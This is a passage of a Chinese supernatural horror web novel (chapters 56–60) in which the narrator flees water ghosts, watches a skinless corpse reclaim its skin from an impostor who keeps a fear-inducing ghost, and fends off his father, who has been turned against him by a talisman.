我若没有将白姝灵从水口中拉出来,这条河不会复苏,它们也不敢爬出河伯庙? 思绪在脑海中快速掠过,我用力拽着铁链,手都撸破皮,却依旧不能将铁链拆开! 月光太清冷了,水面上波纹荡漾的更凶! 尤其是,水逐渐失去温度,正在不停的变冷,像是快要结冰。 那溢出潭水的水,进入河道的水,断流了! 它们,要回来了! 我脑子里冒出这个念头的瞬间,心里更焦急无比。 哗啦哗啦的水响,仿佛催命魔咒。 忽然间,白姝灵的尸身动了。 她脑袋猛地从水面扬起,一手,死死掐住我手腕。 那冷若冰山的一张脸,不停的往下滴水。 “废物!”冷冰冰的声音,骤然从她口中脱出。 我人麻了。 不是尸中无魂吗?怎么忽然又说了话!? 她骂我? “相公快跑……它们回来了!” 顷刻,白姝灵的面容又变得极其慌张,焦急。 哗啦一声,她尸身头坠至水面,一动不动。 一股莫名的力道拽着我,朝着岸边去。 我才发现,是白姝灵的魂魄在我前方一些,拉着我靠岸。 她身上正在滋滋冒着白烟,我反应过来,是因为水里的罗盘! “你上去!”我用力一挣脱手,开始自己快速往岸上游。 白姝灵魂魄骤然消失,出现在岸边,她身体好似虚幻几分,那白烟却总算终止。 我三两下游上岸,余光瞧见,几乎断流的河道中,有一群头大如斗,眼大如铃的水尸鬼,疯狂朝着死水潭子这边游来! 来不及思考,我抓起草堆里藏着的衣服,朝着更远的方向狂奔。 第56章 有皮者超,无皮者恨 风,冷的刺骨! 不光是因为夜风寒冷,更因为我没穿衣服,还满身湿漉漉。 我跑进了先前藏身的灌木林子里头,随后,警惕无比的盯着前方死水潭子。 水面飘着一个个头。 我还是能看清楚,那些水尸鬼一个个狞恶凶狠,似是恨不得将我剥皮抽骨,啖食血肉! “相公,它们不能离开水太久。”白姝灵声音极小,却带着一丝怯弱和不安。 我闷不作声,换上衣服,随后死死的盯着白姝灵,眼中惊疑不已。 先前,我就觉得白姝灵有些反常了,像是两个人似的。 水里的时候,这股反常到达了巅峰。 她的眼神,语气,都无比的厌恶我。 此刻,却又截然不同…… “你在搞什么鬼……”我强忍着心悸和眼皮的跳动,哑声问。 “我们对付不了他……”白姝灵颤声说。 “谁?”我脸色微微一变。 “那个腐烂的病人。”白姝灵的神态,却有几分快要潸然泪下。 我:“?” “你把她叫出来了……”白姝灵又抿着唇,低声说:“我答应过她,你可以帮我们解脱,可现在你做不到,她又等不及,你千万不能相信她……” 我脑子更懵。 这又是什么和什么? 我问什么,白姝灵在回答什么?牛头不对马嘴? “不行……不可以……” “不要!”白姝灵忽然捂着头,发出一声尖叫! “废物!”清冷的话音,骤然从白姝灵口中传出,她死死的盯着我,那眼神,真的是嫌恶到了极点! 再下一瞬,白姝灵的眼神,又变得挣扎痛苦起来。 她颤巍巍的蹲在地上,死死的抱着自己的头。 半晌,白姝灵忽然寸寸迸裂,消失不见了。 我衣兜里,小人的重量增加,沉甸甸的,是她魂魄回了小人中。 将小人掏出来。 刚好一注月光照射在小人上,那种栩栩如生的质感,温润如水,瞬间又变得冰冷刺骨,手都快抓不住。 我眼中充满了迷惘。 白姝灵身上到底发生了什么? 她口中的“她”,是她魂魄里,还有另一个主导的意识? 一只鬼,两个“思想”? 其一是白姝灵,跟在我身边,乖乖巧巧,嫁鸡随鸡,嫁狗随狗的白姝灵。 其二,就是那个冷若冰山,指挥我做一应事情的白姝灵? 又一股冷风袭来,我打了个寒噤,将小人收了起来。 此刻,我简直是心乱如麻。 白姝灵出了问题。 我现在就指着她“破局”呢。 局破不了不说,还将老陈家的传承罗盘给落在了死水潭子里…… 余光瞥了一眼死水潭子方向。 水里空无一物。 白姝灵的尸身沉下去了,水尸鬼一样消失不见,潭水泛着淡淡的白光,外溢那条河完全中断。 咽了口唾沫,我却不敢回去。 心里头清楚,那群水尸鬼才敢冒出头,这死水潭子才活过来,我又将其堵死…… 它们肯定藏在暗处,我一旦靠近过去,怕是当场就要被撕碎。 在原地僵站半晌,最终只能无功而返,打道回府。 快到村南和黄土坡的交界处,我瞧见了一道鬼鬼祟祟的身影,朝着村子里潜去。 我所处的位置较为隐蔽,他没有发现我。 一时间,心跳却又再度加速几分。 因为那人……居然是我爷爷?! 他去找瞿大娘啊! 瞿大娘虽说疯疯癫癫,但她也那么小心翼翼,前边儿开口提醒我,随后又拴住我奶奶,是怕伤了我和爷爷。 按照爷爷的说法,瞿大娘是我太爷爷的徒弟。 帮我们,就说得通了。 可为什么,爷爷要进村!? 我没有回黄土坡,谨慎的远远跟在爷爷身后。 没过多久,爷爷就先到了一处地方。 是我家。 他在家门口杵了一会儿,又朝着另一个方向走。 随后他停下的位置,是在那土屋外。 爷爷进了土屋里头。 我稍一迟疑,跟着进去,蹑手蹑脚,并没有让爷爷发现。 我更疑惑不解了,爷爷来这里干嘛? 老鳏夫的事情,我是和爷爷讲过不假,这土屋中的一切,他都知道。 安安静静的房子里,帘子微微飘动,透过缝隙,我瞧见爷爷正蹲在那被我挖开的坟包旁边儿,他正在打开一个包袱。 这包袱里头,居然是一只鸡。 不过,这鸡脑袋耷拉着,是被拧断了脖子,死了。 鸡毛十分粗糙,鸡冠子却红得发紫,一眼能瞧见鸡脚蹬那里,有个又粗又尖的弯钩,代表这只鸡年岁长了。 爷爷一手掐掉小半截鸡冠子,血便淌了出来。 他捻着鸡冠,一下一下往外甩着,血珠撒在坟头。 爷爷口中发出幽细的喊声,却不像是他的声音,更像是个老妪的,直让人身上起鸡皮疙瘩。 “游魂恶鬼,空棺孤坟。” “有皮者超,无皮者恨。” “鸡血浇土,司晨上供。” “地灵灵,鬼灵灵,枉死怨念食气来!” 这喊声落罢的瞬间,爷爷手猛地往半空中一甩! 惊悚骇人的一幕发生了。 房梁上多了个血淋淋的东西,他身上没有皮,一双凸起来的眼珠子,几乎快掉出来眼眶。 他嗖的蹿了下来,那只鸡落在他手中,他落在坟土上,一口咬掉了鸡头,不停的啃咬着。 这,才是真正的老鳏夫。 怨念和被封在棺材里,让他成了恶毒的无皮尸鬼。 白姝灵让我放出了“无皮尸”,就是要去对付“老鳏夫”的。 只是,“无皮尸”一直没得手。 那披着老鳏夫皮的病人,既然能在老鳏夫活着的时候弄死他,必然也有相应的本事。 “一只鸡,三滴血,二五精气补你命。” “三只鸡,九滴血,二五精气壮你魂。” 爷爷口中还在念念有词,他太反常了,一点儿都不害怕无皮尸,并且又从腰间摘下来两个包袱,甩开后,是两只死鸡,落在无皮尸脚边…… 无皮尸吃的更快,他身上的凶厉气息愈来愈强横,甚至开始滴滴答答的淌血…… 不过那些血落地后,又消失不见。 鸡皮疙瘩蹭蹭直冒,我心头一寒,快速后退,出土屋门后,小跑到草垛里藏了起来,后背不停窜着冷汗,指甲快陷进掌心里,我不敢发出任何异响。 那无皮尸悄无声息的出现在门口,嘴角满是血,还有鸡毛,恐怖极了! 第57章 还给我!还给我!还给我! 尽管爷爷在院子里。 尽管,这个无皮尸是爷爷招回来的。 我依旧心惊胆颤。 爷爷是爷爷,可又不像是爷爷,他不该会这些东西,尤其是他的腔调太过反常了。 因此,我一点儿不敢露面,不敢被发现。 大约四五分钟,无皮尸停下咀嚼的动作,他伛偻着身体,朝着另外一个方向走去。 脚步声随之响起, 是爷爷从土屋里出来,他却径直走到草垛前。 我躲都来不及了, 缝隙中,爷爷眸子和我对视,他眼神冷得吓人。 “晚上,你不该出门的。”爷爷开了口,声音又变得粗哑中带一丝尖细。 “瞿大娘……”我右眼皮跳的很凶,都快睁不开了。 和我说话的人,绝对就是瞿大娘! 不知道她用了什么手段,明明是个人,却像是鬼一样,上了爷爷的身! “不一定能杀了他,你可以跟着来看一看。”爷爷再度开口,腔调怪异。 我稍稍松了口气。 随之,心又悬起来好大一截。 爷爷招了招手,我退出了草垛,跟着他走。 村路上很安静,这几天里我随身携带小人,那些大仙儿逐渐没有在夜色中出没。 胸中满腹疑窦,在这种节骨眼上,却不好多问“爷爷”,只能静观其变。 没多久,我就跟着爷爷到了老鳏夫家附近。 爷爷没有继续往前,而是带着我藏身在一道院墙斜侧,暗暗偷窥。 能瞧见无皮尸杵在院门前,手在上边儿敲击,准准确确的四声后, 沉寂下来。 神三鬼四。 “老鳏夫”必然清楚,来者不善! 只是,我心里悬吊吊的。 老鳏夫居然还住在家里吗? 余光又发现了一些细节。 地面上有许许多多的糯米粒,却变成焦糊的漆黑。 漆黑米粒上还有一些干涸红色,分明是血。 薄薄的一层灰白覆盖门前台阶,应该是香灰。 老鳏夫当时还让我记住,糯米驱邪,黑狗血镇煞,白姝灵都承受不住。 这都是用来对付尸鬼的手段! “咚咚咚咚”敲门声很重。 “开门。”空寂的喊话,熟悉中透着一缕陌生。 这是无皮尸的声音,那种熟悉,来自于真正的老鳏夫,陌生则在于他是尸鬼,已经不是人! “还给我!” “还给我!” “还给我!” 声音拔高,尖锐,门咣当咣当作响! 无皮尸愈凶,他身上滴滴答答落下的血珠就越多。 门,仿佛要不堪重负! 吱呀一声闷响,门开了。 嗖! 一支箭死死的插在地上。 无皮尸后退的很快,箭尾还在微微颤动着。 “瓦将军。”爷爷嘴唇嗡动。 “什么?”我小声问。 “屋顶有一片木瓦,你去,找到,掀掉它。”爷爷忽然说。 我:“……” 爷爷神态不是自己的,更像是那瞿大娘,我更确定……他的确没有和我开玩笑。 我忽然回想起来,“老鳏夫”当时夜里来找我,就给我家房顶放了一片瓦,说精精怪怪,鬼鬼祟祟都进不了院子,没想到,他一样用了这种手段保护自己? “你怕了?怕了为什么要出来?回去待着。”爷爷面无表情。 “没有……”我硬着头皮回答。 深吸一口气,我余光瞟一眼无皮尸,又盯着老鳏夫院子内的房顶。 “那你从那边过去,别被他看见。”爷爷低声再嘱咐。 我顺着他所指的方向,小碎步离开,很快到了一个拐角处,快速跑到路对面,无皮尸并没有发现我。 我从另外一条村路往老鳏夫家疾走。 不多时,我就停在正堂屋的后墙处。 前边儿的一切我都瞧不见了,更听不到什么响声。 脚下的村路很窄小,另一侧还有一堵墙,是另外一家人的堂屋后墙,这里更像是两排房子间的夹巷子。 我深呼吸,双腿撑在两道墙上,轻身提气缓缓往上挪。 尽量没有发出任何响动,我很快就到了屋顶边缘,我先爬上另一家人的房顶,难免会有一点声音,不过,因为不是老鳏夫家,所以没什么,声音不会传递到老鳏夫家里去。 随后,我踩着另一家人的房檐,慢慢挪到了老鳏夫家的屋顶上,这样一来,就几乎悄无声息了。 我踩着瓦片之间的间隙挪动位置,并没有踩破任何一匹瓦。 瓦屋顶是尖的,堂屋后方这一边,未曾瞧见那片木瓦。 我顺着走到顶端,眼神瞄着瓦顶前端。 余光瞧见了一个人,翘着二郎腿,坐在一张竹椅子上,优哉游哉的看着院门处。 赫然是“老鳏夫”! 门口,无皮尸不敢靠近。 那里已经多了两根箭,共有三根! “还给我!”尖锐的声音,成了咆哮! 这一瞬,我头皮发麻! 在外边儿和在院子里头,感受完全不同。 无皮尸太怨恨了,语气太森冷可怕! 他的怨毒情绪,完全倾泻在这院子中! 悠闲的哼声,却从院中“老鳏夫”身上传出。 “还给你什么?这张皮吗?”轻描淡写的话音随之响起:“可以啊,你去把陈棺生给我带来,皮就还给你。” 寒意,陡然滋长。 “河里涨水了,你女儿却没能上岸,陈棺生是有点儿脑子的,可还是不多,他就算知道我有鬼,怎么样?他能做什么呢?躲躲藏藏。” “你啊,只知道讨皮,都不知道,黄渠村的水尸鬼又要为恶,你女儿,死不安宁。” “说来,你女儿的确讨人嫌,她不横插一脚,我还需要受这罪?”老鳏夫幽幽说。 无皮尸还在尖利咆哮:“还给我!” 他陡然往前迈了一步。 嗖的一声,又是一根箭出现在院门前,差点就射中他的身体。 这一刹那,我瞧见,就在我面前一处位置,隐约出现了一个人,他身下压着一只匍匐的大猫,射了一箭! 仅仅是一瞬间,那人就消失不见! “风水术,你用的一般,什么都看不出来,死了浑浑噩噩,也是正常。” “你凶的让人一样厌烦,等我换了这身皮囊,用了陈棺生的身子,我就好好的把你挫骨扬灰,免得你一直恨而不能。” “届时,我还会把你女儿弄上来的,毕竟,她和陈棺生的阴亲,不能浪费了对吧?呵呵。”老鳏夫愈发怡然自得,口中小曲儿哼的更流畅。 我蹑手蹑脚,走到了先前出现“人”的瓦片位置,果然,瞧见一块木瓦。 木瓦上刻着一个骑虎射箭的人,当真是威严极了。 毫不犹豫,我伸手抓住瓦片,将其从瓦顶抽离! “我这个人啊,平时好养鬼,膏肓我养了,再养个河娘子,倒也不错,那白姝灵,还是个……” 老鳏夫的话音,戛然而止。 因为…… 无皮尸一脚,迈过院门,稳稳当当的踩在门槛里侧! “还给我!” 他尖声咆哮,猛地朝着老鳏夫冲去! 这一瞬间,老鳏夫腾地一下起身,他惊悚万状的回过头,恰巧,和我四目相对! 错愕,震惊,不解,数种情绪同时出现在他脸上。 “放下去!”老鳏夫尖声怒斥! 我微眯着眼,双手抓住瓦片,骤然朝着膝盖上一顶,啪嗒一声,木瓦碎成两截! 老鳏夫那几句话,我只听明白了一部分,就算只有那一部分,都足够让人恶寒。 他太嚣张了。 真正的老鳏夫,不是他的对手,被他镇压。 甚至,他不光是要我…… 他还要白姝灵! 我心里依旧在恶寒,鸡皮疙瘩蹿个不停。 要是我真被他得手,我一样会失去皮? 好像还没那么简单,他说的,是用了我的身子…… 此刻,我更回想起来白姝灵的一系列话,老鳏夫让我吃那些东西,是平衡我身上的阴气,让我阳气重一些,更像是个人! 他是要借尸还魂?! 思绪在电光火石之间,木瓦刚被我撞碎。 老鳏夫瞬间回头看向正前方,手中抽出一个铜铃,猛地摇晃一下! 刺耳的叮铃声骤响。 我陡然窜起一股凉意。 无皮尸,居然不见了!? 第58章 抢皮!你跑不掉! 这撞铃声很耳熟。 先前在蟾山的白蟾庙,就是这撞铃声抑制了锁龙井里的凶恶尸鬼! 老鳏夫,居然这么凶!? 无皮尸,直接就被他给镇住,甚至是吓退了!? “棺生,你什么时候来的,听了不少话吧?” 老鳏夫幽幽开口,转身仰头注视着房顶的我。 毛骨悚然的感觉瞬间涌来,我第一个反应,是要后退,要逃! 轻微的刺痛和蠕动感,突然从胸口出现。 入目所视,我胸口往前凸起一截,形成了一张脸。 居然,是一张牛脸。 黄色的毛发根根分明,它的眼神活灵活现,像是个人似的。 “歘”的一声,宛若川剧里的变脸。 牛脸上的皮消失不见,成了血淋淋的无皮牛脸。 血,像是一朵绽开的花儿,在我胸口弥漫。 “哞……”一声哀鸣从牛嘴里传出。 那头黄牛临死前,就是这么叫的。 我整个人都要被吓疯了。 这是什么鬼啊! 怎么会忽然这样? 再下一瞬,血脸消失不见,成了个女人。 她面颊削瘦,脸皮惨白。 赫然是杀牛的次日,来我家的那女人! “棺生,你给我喝的是血,不是水!” “你骗我喝我姐姐的血!” 尖锐怨毒的喊声,从女人口中炸响。 她整张脸不停的扭曲,似是要将我一口咬掉脖子! 人在极度恐惧的时候,发不出任何声响。 可当这种恐惧到达一个临界点的时候,吼声前所未有的大! 我惊恐的一声大吼,明显更感觉嗓子眼破了,在淌血。 女人脸在扭曲中,成了一张酒糟鼻的男人脸。 “皮给我!” “你们剥了我婆娘的皮!” “婆娘给我!” “你们吃了我婆娘!” 男人狞笑着,他的脸从我身上钻出来,身体逐渐成型。 我疯狂的用手抓打他,想要将他从我身上弄开! 耳边听到了笑声。 是老鳏夫在狂笑。 “知道什么是膏肓鬼吗!?” “就是你心里有鬼,你心里过不去的事儿,你最恐惧的一幕!” “陈棺生,你看到了什么,你被吓得不轻吧!?” “好端端的吃肉喝汤,好端端的学本事,好端端留在院子里,你屁事没有,你非要惹怒我!” 狂笑中,还有冷冽的斥责。 我真要被吓疯了。 更让我不理解的是,爷爷在干什么? 瞿大娘不是上身他了吗? 让我来拆木瓦,放无皮尸进院子。 就这样便没了? 他跑了,把我甩下? 老鳏夫说膏肓鬼,我听不懂。 我只知道,那牛鬼要从我身体里钻出来了,他双手一直要抓我的脸,似乎要从我脑袋上开始剥皮! 情急之下,我也不知道怎么的,忽然手里就握着一样东西,狠狠往前一挥! 刺耳的一声惨叫,分外尖细,几乎穿透我耳膜。 眼前的一切骤然有了变化。 我胸口哪儿有什么牛鬼。 反而在我面前飘着一个东西。 它像是个骷髅骨头,裹着一层黑漆漆的皮,眼珠格外猩红,瞧不见一丝一缕眼白。 此刻,它身体蜷缩,像是在痉挛。 其脖子位置,出现一道特别深的伤口,我手中握着的,赫然是寻龙分金尺! 尺子格外滚烫,像是被烧红的烙铁似的,我被烫得一声闷哼,却不敢将尺子脱手而出。 这鬼东西的双手,本来压在我胸口,这会儿也挪开了,快蜷缩成虾子! 下方院内,老鳏夫大惊失色。 他愕然无比的瞪着我的手! 不,他是瞪着寻龙分金尺! 我哪儿不明白,先前瞧见的一幕,居然都是假的,都是鬼遮眼!? 膏肓鬼,是利用人心头的恐惧,让人看到假象,从而将人硬生生吓死!? 爷爷当时对土屋中的鬼一系列解释,蓦然在脑海中回荡,同先前老鳏夫的一番话,几乎重叠吻合在一起! 还有极端关键的一点,这寻龙分金尺,克鬼! 猛地扬起手,我朝着身前那鬼狠狠一抽! 老鳏夫同时抬起手臂,往后一招。 那膏肓鬼骤然后退,朝着老鳏夫落去。 我打了一个空! 偏偏这时,阴冷粗哑又带着一丝尖细的话音在夜空中回荡响彻。 “一只鸡,三滴血,二五精气补你命。” “三只鸡,九滴血,二五精气壮你魂。” 这喊声不停荡漾,重重叠叠,似是形成回音! 悄无声息,老鳏夫的身后,出现一团阴暗的血印子,无皮尸骤然钻了出来。 这一切的速度太快太快,老鳏夫根本无暇反应。 无皮尸的双手,陡然从后方往前一抱,抓住老鳏夫的胸膛处衣服,狠狠一撕! 衣服,开了! 不光是衣服开了。 皮还开了! 皮开肉绽! 无皮尸尖叫着还给我,身体同时后退。 老鳏夫一声惨叫,身体本能的往前冲! 一张皮,从他的身上硬扯了下来! 月光挥洒之下,这一幕太过恐怖。 满是疮疤,伤痕累累的身体曝露在我的眼中,上一次我哪儿看的这么清楚。 他身上的疮疤,像是从来没有好过,又继续溃烂。 甚至很多地方都看不见皮,是曝露在外的血肉,浓稠的鲜血从那些伤处溢出。 痛苦的哀嚎声从他口中传出。 膏肓鬼消失不见,我亲眼瞧见那鬼钻进他后心,随后他前胸咚咚跳动,格外有力。 无皮尸提着皮,身体一阵抽搐,那血肉模糊的脸,好似一样在笑,怨毒更重几分! 现在,那人已经不能被称作“老鳏夫”。 他不停的喘息着,身体微微蜷缩,颤栗。 似是失去皮,让他格外疼痛。 抬起手,他握着一枚撞铃。 用力晃动撞铃,只不过响起的不是铃声,反而是一道锣声! 锣声太大,完全将铃声覆盖。 粗哑中带着尖细的话音再度响起:“一更堕人人不归,三魂昏昏七魄停!” 是爷爷和瞿大娘夹杂在一起的声音。 他没走! 随之,我觉得耳膜不停的刺痛着,似乎思绪都在这一瞬僵硬停滞。 不光是我,那人一样僵站着,一动不动。 无皮尸缓步上前,一手提着自己的人皮,一手抬起,是要掐住那人的脖子! 等我堪堪缓过神来,无皮尸已经死死掐住他脖子,将他身体举起。 他双手抓住无皮尸的手腕,不停的挣扎,痛苦的喘息。 “瞿九娘,当你的疯老婆子,没人招惹你……” “你……非要来插我的事吗?”那人话音断断续续,却凶狠极了。 瞿九娘,就是瞿大娘的名字! “老鳏夫,你再不杀你仇人,那你可就杀不了了。”细细的老妪声响起,爷爷却出现在院门前。 此刻的爷爷,脸上有好几道歪七扭八的纹路,像是一张鬼画符。 对,现在的无皮尸,抢回了自己的皮,才能称得上是老鳏夫。 只可惜,他没有了多少神志,头微微歪扭,手开始用力。 说时迟,那时快,那人忽然双腿一蹬,脖子上一阵黏腻声,竟是皮肉烂了,他砰的一声落在地上。 无皮尸刚反应过来,猛地往下一扑,他身体骤然在地上一窜,从无皮尸胯下钻过,直接冲向我爷爷! 说时迟,那时快,那人胸口更钻出来一个裹着皮的黑骷髅,赫然是先前的膏肓鬼,朝着我爷爷袭去! 膏肓鬼瞬间停留在我爷爷的面门前。 它发出一声奸笑。 爷爷一动不动,眼珠子瞪大。 我旋即清楚明白过来,是膏肓鬼起了效果,不管现在是爷爷还是瞿九娘,都一定看到了让自己恐惧的东西! 无皮尸直立起身体,三两下,穿上了皮! 血肉被皮肉遮挡,无皮尸恢复成了自己本身应该有的模样。 真正的老鳏夫! 只不过,他脑袋还是歪扭着,没有什么神志。 刺耳的撞铃声骤然响起。 恢复如常的老鳏夫,一动不动! 他身上的皮,正在迅速滋生起一种血色的绒毛! 那浑身疮疤的人,显得无比愤怒,还有懊恼。 他再瞪了我一眼,尖声喊了句:“你跑不掉!” 旋即,他居然放弃了缠斗,朝着院外冲去! 第59章 砍头! 爷爷还受膏肓鬼蛊惑,没有行动力。 披上自己皮的老鳏夫,受撞铃“刺激”,一样没回过神来。 我站在房顶屋檐边缘,只能眼睁睁看着这一幕发生,挑高得有三米多的房子,我不敢直接跳,下方是水泥地,搞不好就得骨断筋折。 还有……我不是那“病人”的对手! 霎时,他冲出了院门外。 我随之将寻龙分金尺别在腰间,双手抓住屋檐木梁,身体下蹲,身子荡空后,手一松开,落地时还趔趄后退几步,脚踝一阵刺痛。 阴冷的视线,扫过我身体。 我心头陡然一股寒意滋生,是披回人皮的老鳏夫,他幽幽看着我。 撞铃给他带来的伤害,限制,终止了。 他那双眸子,却还是和先前一模一样,不,甚至是更猩红。 一身皮上,生满了细密血色绒毛,又有几分像是我妈,哪儿有半分人样? 这个真正的老鳏夫……不是人! 先前那病人,才是人,只是一直藏头露尾。 大家认知中的膏肓鬼,是他养出来的鬼。 他披着老鳏夫的皮,是为了有个正常面目,甚至是为了延缓自己身上的伤势? 我脑中思绪飞速闪过,一手暗暗提着寻龙分金尺,我生怕这没有多少神志的老鳏夫,对我下手。 好在下一瞬,他扭身,嗖的一下窜出院门外。 爷爷咳嗽了两声,显得虚弱许多。 其面前的膏肓鬼消失不见,是那“病人”跑了,膏肓鬼也就跟着跑了? 我匆匆走到爷爷面前,爷爷一手抓住我手腕,哑声说:“棺生,你得听话啊!不要乱跑,不要乱来,这里多危险?” 他语气恢复正常,不再是瞿大娘那腔调,脸上的鬼画符一样消失不见。 我再度松了口气。 不过,视线却盯着院外,拳头逐渐紧握。 “他究竟是谁?”我声音更透着低哑。 “哎……”爷爷叹了口气,面色十分复杂,说:“按瞿大娘说的,此人真名叫做胡喋,此人出生在黄渠村,身上有一种怪病,从出生开始皮肤就不停的溃烂愈合,像是个鬼一样。” “村民,自然不会给他多少好脸色看,老胡家也觉得胡喋是个累赘,正因此在他四五岁的时候,将他丢进了深山中,山里多精怪,野兽,想着一了百了。” “若干年后,这家人屋里就闹鬼,闹膏肓鬼,谁来这里,都会见到自己觉得最可怕的存在,因为没有任何一个人,心里彻彻底底的干净,膏肓鬼就是心病啊!” “别人不晓得,瞿大娘是晓得的,膏肓鬼背后就是这个胡喋,火神庙的老庙祝死在他手里,老鳏夫的死,瞿大娘以前不知道,现在才清楚。” 爷爷这一番解释,干净利落。 “所以……以前黄渠村里出事,只是胡喋在报复,此后剥了老鳏夫的皮,是为了自己保命?他盯上我,一样是这个原因?”我再问了一句。 “先前瞿大娘上身我,不过,我该听见的都听见了,应该就是这个原因,他想换个身子……”爷爷显得十分后怕,心有余悸。 顿了顿,爷爷匆匆说:“老鳏夫会报仇的,剥皮之杀,胡喋又没了皮傍身,双方现在半斤八两,赶紧把你爸找出来,咱们就躲起来!” 我重重点头,立即踏步进了一处房间,是以前胡喋伪装成老鳏夫时住的屋子。 屋里空空如也,哪儿有我爸的人影子? 和爷爷两人将整个院子找了一遍,就差掘地三尺了, 愣是没找着我爸。 “他还有别的地方藏人?”爷爷急得满头是汗,问:“这段时间他一直让你来院里,你晓得在哪儿不?” 我心里慌得不行,却只能摇头说不知道。 “老狐狸精!”爷爷骂出了声。 正当此时,脚步声忽然响起,很细碎,很轻微。 换做以往,这种声音下意识就会被我忽略,可眼下经历了那么多的事情,我对任何风吹草动,都极其敏锐。 立即走至院门前,往外看去。 村路上,慌慌张张跑来一人。 这人……居然是我爸? 他脚步趔趄,颇有几分慌不择路。 “陈勇!”爷爷一喜,大喊着招手。 我爸反应过来,大喜过望朝着我们跑来。 月光下,他的影子拉得很长。 只是,我不知道怎么说,这一瞬,我心跳的很快,总觉得有些问题,却又说不上来,问题出在哪儿? 不对……我爸回来的就这么巧合? 眼皮随之跳动着,我两步挡在爷爷面前,顺着刚好挡住了他和我爸之间。 “棺生!”我爸同样眼中惊喜,他更显得慌张,扫了一眼后方,像是怕被什么东西追上来似的。 “爸,你去哪儿了?”我沉声问,言语中带着一丝丝警惕。 “去哪儿了……被那个“老鳏夫”扣着了呀!那老疯子将我绑在一个没人住的旧屋里,我好不容易才磨开了绳索,去家里,家里没人。”我爸语速飞快。 我思绪更敏锐,言辞更果断:“那你为什么,会直接来这里?这儿是“老鳏夫”的家,你不怕自投罗网吗?” 我没有像是爷爷那样,因为高兴,就什么都不想,什么都不疑惑了。 突然出现的我爸,本来就处处都充满了疑点。 他这话,更说的自相矛盾! “棺生,什么叫自投罗网?你看这是什么?”我爸说着,噌的一声轻响,他居然拔出来一柄斧头,斧刃明晃晃的,锋锐无比。 “你奶奶下落不明,不知道被他弄哪儿去了,我得弄死他!”我爸恨恨说着。 “嗯?”随之,我爸又疑惑无比:“不对劲,你们怎么会在这儿?那老东西人呢?” 他探头往院子里看,却一无所获。 “棺生,你太警惕了,你老汉没得事。”爷爷才松了口气,拍了拍我肩膀,要往前走。 是,粗看我爸是没什么事儿。 他的性格,还是那样急躁,脱困了第一件事儿,就想着弄死“老鳏夫”。 他不知道,害我们的“老鳏夫”实际上叫做胡喋,是个病人。 真正的老鳏夫,已经披上了人皮,不过,已然成了死尸一头。 他更不晓得……奶奶,已经死了。 “儿啊,咱们先换个地方,棺生他奶奶也在那里,回去了,你就见着了。”爷爷停在我爸面前,两人四目相对。 稍稍一顿,爷爷继续说:“这里也出了不少事,回去之后,我好好和你解释清楚……” 爷爷话没说完,我爸眯眼带笑,猛地扬起斧头,明晃晃的斧刃当头朝着爷爷脑门心劈下! 这一幕发生的太快。 我爸动手的太突然,下手太狠! 爷爷哪儿能反应过来,人都给吓傻了,一动不动,躲都没躲。 我爸脸上还是带着笑,那笑却凶的吓人! 就在这电光火石之际,我猛地抬起腿,一脚朝着我爸腰腹踹去! 从始至终,我就没放松警惕。 粗看我爸是没事儿。 可太巧了,真的太巧了,“胡喋”刚跑,他就回来。 事出反常必有妖,小心才能使得万年船! 一脚,我稳稳当当踹在我爸腹部,他闷哼一声,整个人直接被我踹翻倒地。 爷爷骇然失色,脸都惨白一片。 我陡然扑在我爸身上,一把夺走斧头,朝着门上一甩。 咔嚓一声,斧刃插进门里。 我爸双腿猛地朝着我腰间一夹,双手直接勒住我喉咙,死命发力。 脖子一紧,我呼吸都险些骤停。 爷爷急的像是热锅蚂蚱,喊着:“陈勇,你疯了吗!你放手啊!” 随即一边上前搭把手,要将我爸手掰开。 可我爸的手就像是钢钳似的,牢固极了。 我脖子火辣辣的疼痛,只能出气儿,进不了气儿。 身体无论怎么扭动,我爸还是死夹着我,使得我挣扎不开。 “怎么办!?”爷爷急头白脸的,问起我来。 我哪儿回答得了他,眼前一阵阵发黑,呼吸都快停滞。 “陈勇,你放开棺生啊!”爷爷急了眼,他用力去掐我爸手腕,直接都见血了,我爸还是不松手,脸上还狞笑着,活像是个疯子。 这时爷爷眼前一狠,猛地起身,拔下来了嵌在门上的斧头,作势,他居然要劈掉我爸的手! 第60章 他可以去凿井 我额头汗珠豆大一颗,脖子被禁锢的太死,连不要,都喊不出来! 爷爷嘴唇嗡动着,脸色愈发苍白,眼瞅着斧头就要劈下。 突然,爷爷又僵住,一动不动。 我身旁,多了一个人。 白姝灵! 先前,白姝灵明明寸寸崩裂,回到了小人里,就一直没有出来的征兆。 我都觉得,她可能是自己出某种问题了。 此刻她出现,一手插进我爸衣服里,手往外一拔。 撕拉一声,被扯出来的居然是一道符。 嗤嗤声响,符疯狂的卷曲起来,冒出白烟,又焦黑一片。 “相公,是陈梁生。” 白姝灵的话,让我头皮蹭蹭发麻! 而我爸因为符被扯出来,他松开我的脖子,直挺挺倒在地上,不停抽搐,嘴里还在吐着白沫子。 我捂着喉咙不停的咳嗽,嗓子眼里一阵血腥味,是受伤了。 爷爷的手垂了下来,茫然失措。 “我爹披上皮,那也是凶尸了,不要靠近他。”白姝灵解释之余,催促着:“你和爷爷,赶紧带着公公走吧。” 说实话,对白姝灵,我先前的情绪,是觉得怜惜她。 现在,我多少有种看不透,更隐隐带着惧怕。 因为白姝灵,不简单是白姝灵…… 还有,陈梁生……居然没死!? 我爸忽然冒头出来,居然是他操控? 那这里边儿的事儿,就大了啊! 我爸既然还在他手中,那胡喋怎么可能杀死我奶奶? 爷爷是认为奶奶死于胡喋手中,才去求瞿大娘出手帮忙,意图杀死胡喋,这个伪装成老鳏夫的人,给奶奶报仇! 结果到头来,陈梁生没有死在白蟾庙锁龙井。 难不成……奶奶是他杀的? 我们没发现井里的尸体,肯定会揣测,他死在井中,无形之中,他就将自己摘出去,仇恨,就完全嫁接给了胡喋,这就成了……借刀杀人!? 或许,今天之前,陈梁生都不知道“老鳏夫”是胡喋披着人皮假装,他现在必然知道了。 陈梁生要借刀杀人的缘由也简单,先前在我一番引导之下,胡喋用了纸刀截运,以及披头五鬼符来对付他! 利用来,利用去,我和爷爷也成了陈梁生手里的刀!? 想明白这一切的同时,我注意到,很远很远的路边,似是站着一个人,正在远远眺望着我。 距离太远了,我看不清他的模样,可从身形上来看,他果然是陈梁生! 鸡皮疙瘩顿时掉了一地。 “相公,走啊!”白姝灵握住我的手腕。 那一瞬的微凉,让我下意识一个激灵,缩手。 白姝灵怔住一瞬,显得有些不知所措。 “走,棺生,别多看这里的事儿,得去安全的地方了!”爷爷总算彻底回过神来,将昏死过去的我爸给扛了起来。 